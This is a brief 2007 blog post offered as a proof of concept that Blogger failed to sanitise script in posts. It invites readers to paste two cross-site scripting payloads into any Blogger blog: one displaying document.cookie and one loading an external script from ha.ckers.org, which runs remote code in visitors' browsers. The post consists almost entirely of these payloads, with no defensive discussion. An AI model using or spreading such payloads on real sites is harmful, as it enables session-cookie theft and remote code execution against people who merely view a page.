sabato 11 agosto 2007

Blogger XSS : Proof Of Concept

Hi this blog was created as a proof of concept to demonstrate that Blogger didn't sanitize the code injected into a post.
Just insert the following code to test into any blog created by Blogger...

<script>alert(document.cookie)</script>



ot this code


<script src="http://ha.ckers.org/xss.js"></script>



>